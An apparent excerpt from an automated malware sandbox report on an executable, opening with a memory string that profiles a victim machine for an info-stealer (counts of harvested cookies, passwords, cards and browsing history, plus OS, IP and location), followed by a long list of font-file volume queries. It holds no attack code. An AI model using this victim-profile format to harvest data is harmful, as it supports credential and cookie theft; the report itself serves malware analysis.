Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206"},"5.0.1",5,1,"","user","123716","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\Desktop","G5SK7N9 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States of America","New York / NewX
Source: Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Users\user\Desktop\Z90Z9bYzPa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Users\user\Desktop\Z90Z9bYzPa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
